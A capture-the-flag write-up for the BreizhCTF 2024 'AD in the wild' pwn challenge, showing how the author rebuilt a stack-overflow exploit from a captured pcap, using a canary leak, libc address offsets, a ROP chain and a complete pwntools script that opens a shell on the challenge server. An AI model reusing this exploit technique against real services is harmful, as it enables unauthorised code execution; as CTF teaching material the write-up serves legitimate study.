BreizhCTF 2024 - CTF AD in the wild (pwn)
BreizhCTF 2024 - CTF AD in the wild (pwn)
This pwn challenge was quite original for me as the only ressource provided was this pcap. The challenge states that someone pwn an exposed C service and the only footprint is this pcap.
From this, we should be able to dev the same exploit and pwn the machine too.
The pcap holds only TCP requests between 2 hosts. There are 4 exchanges and the first one look like this, from an ASCII perspective.
I mainly used tshark to extract the data from it and see what was sent from the client to the server and its response.
The first exchange is made of A padding ( 1032 bytes) which is quite
typical of the exploitation of a buffer overflow from the client in red.
The server response in blue holds the payload more 13 bytes that look
like junk. b7 c9 27 29 b7 07 a0 d0 73 7d aa ff 7f
. Which is
a server memory leak.
The second requests is the following and also holds 1046 bytes of A
padding and the server will send 6 bytes 6c 14 bb 49 30 56
:
The third exchange has 1126 A padding and the server returns also 6
bytes 4a c2 1a aa 23 7f
:
Finally, the last tcp connexion is the biggest and have 2 exchanges
within. The first message has 1032 A padding and then 152 bytes and the
servers will only return the padding. The last message between both is
the id
command and its results from the server showing
remote code execution.
From here I had two guesses : - There is a server memory leak and maybe some instruction pointer leak that could be leveraged to achieve a blind ROP - There is a server memory leak and we just have to replay the payload changing only some offsets
Lucky us, it’s the second option. If we observe the last red message we can spot some patterns :
00b7c92729b707a0adde00000000000099df1aaa237f00000000000000000000e5c71aaa237f0000040000000000000090d927aa237f000099df1aaa237f00000100000000000000e5c71aaa237f0000040000000000000090d927aa237f0000fd2d28aa237f0000000000000000000099df1aaa237f00000000000000000000e5c71aaa237f000031b031aa237f0000109a25aa237f00000a
And if we split this data every 8 bytes, more patterns.
00b7c92729b707a0
adde000000000000
99df1aaa237f0000
0000000000000000
e5c71aaa237f0000
0400000000000000
90d927aa237f0000
99df1aaa237f0000
0100000000000000
e5c71aaa237f0000
0400000000000000
90d927aa237f0000
fd2d28aa237f0000
0000000000000000
99df1aaa237f0000
0000000000000000
e5c71aaa237f0000
31b031aa237f0000
109a25aa237f0000
The most obvious pattern is the aa237f0000
bytes that is
common too many blocks. It looks like an memory address in little
endian. The last 3 bytes will be the offset of the different functions
called to build the payload.
From here we can’t deduce the gadget used by the attacker but we just have to use the same but with adjusted addresses.
The pattern of the ROP is quite identifiable. The first 8 bytes is the canary, then some junk that doesn’t care as its saved RBP and then our ROP that consists of pop gadgets, the parameters to use and some libc functions calls.
The canary value 00b7c92729b707a0
is leaked by the first
8 bytes of the first server response so we’ll have to leak it too.
Multiple run give the same canary. The server is forked.
= remote("challenge.ctf.bzh", 31908)
s "A" * 1032)
s.sendline(1033:] # \x00\xda\xb4\x71\x99\xc3\x62\x63
s.recvall()[
= b"A" * 1032
payload += b"\x00\xda\xb4\x71\x99\xc3\x62\x63"
payload += p64(0xdead) payload
The third response of the server leaked this value
4a c2 1a aa 23 7f
. This is from this value that the
attacker computed the base address of the program and then used it in
the final ROP payload.
The last 8 bytes of the payload 109a25aa237f0000
(0x7f23aa259a10
) minus the initial program leaks
(7f23aa1ac24a
) give us an offset of 0xad7c6
to
apply on our own leak
My third leak is 0x7f4fd85a524a
so
libc_2 + unknow_offset = 0x7f4fd85a524a
. Applying the
calculated offset 0xad7c6
leak call the same function as
the attacker but for my address.
= lambda x: unpack("<Q", bytearray.fromhex(x.replace(" ", "")))[0]
dec hex(dec("109a25aa237f0000") - dec("4ac21aaa237f0000")) # 0xad7c6
+ unknow_offset = 0x7f23aa1ac24a
libc_1 + unknow_offset + attacker_function_offset = 0x7f23aa259a10
libc_1 0x7f23aa1ac24a + attacker_function_offset = 0x7f23aa259a10
= 0x7f23aa259a10 - 0x7f23aa1ac24a
attacker_function_offset = 0xad7c6
attacker_function_offset
+ unknow_offset + attacker_function_offset = ?
libc_2 0x7f4fd85a524a + 0xad7c6 = 0x7f4fd8652a10
ROP gadget and libc address have the same base as the attacker used gadget within the libc itself. Even It’s more usual to use binary instruction to build the ROP chain
From this, only substraction are needed and will give the following offset. The arguments value doesn’t change, of course.
00b7c92729b707a0 # stack canary
adde000000000000 # saved rbp
99df1aaa237f0000 # 0x1d4f, unknow func1
0000000000000000 # unknow func1 ar
e5c71aaa237f0000 # 0x59b
0400000000000000
90d927aa237f0000 # 0xd1746
99df1aaa237f0000 # 0x1d4f
0100000000000000
e5c71aaa237f0000 # 0x59b
0400000000000000
90d927aa237f0000 # 0xd1746
fd2d28aa237f0000 # 0xd6bb3
0000000000000000
99df1aaa237f0000 # 0x1d4f
0000000000000000
e5c71aaa237f0000 # 0x59b
31b031aa237f0000 # 0x16ede7
109a25aa237f0000 # 0xad7c6
We got everything to build our payload by adding the offset to our leaked libc address
from pwn import *
= 0x7f4fd85a524a # leaked with the third request
base_addr
= b"A" * 1032
payload += b"\x00\xda\xb4\x71\x99\xc3\x62\x63"
payload += p64(0xdead)
payload += p64(base_addr + 0x1d4f)
payload += p64(0)
payload += p64(base_addr + 0x59b)
payload += p64(4)
payload += p64(base_addr + 0xd1746)
payload += p64(base_addr + 0x1d4f)
payload += p64(1)
payload += p64(base_addr + 0x59b)
payload += p64(4)
payload += p64(base_addr + 0xd1746)
payload += p64(base_addr + 0xd6bb3)
payload += p64(0)
payload += p64(base_addr + 0x1d4f)
payload += p64(0)
payload += p64(base_addr + 0x59b)
payload += p64(base_addr + 0x16ede7)
payload += p64(base_addr + 0xad7c6)
payload
= remote("challenge.ctf.bzh", 31908)
s
s.sendline(payload) s.interactive()
The challenge was pretty fun to to and required at least decent understanding of a ROP exploit.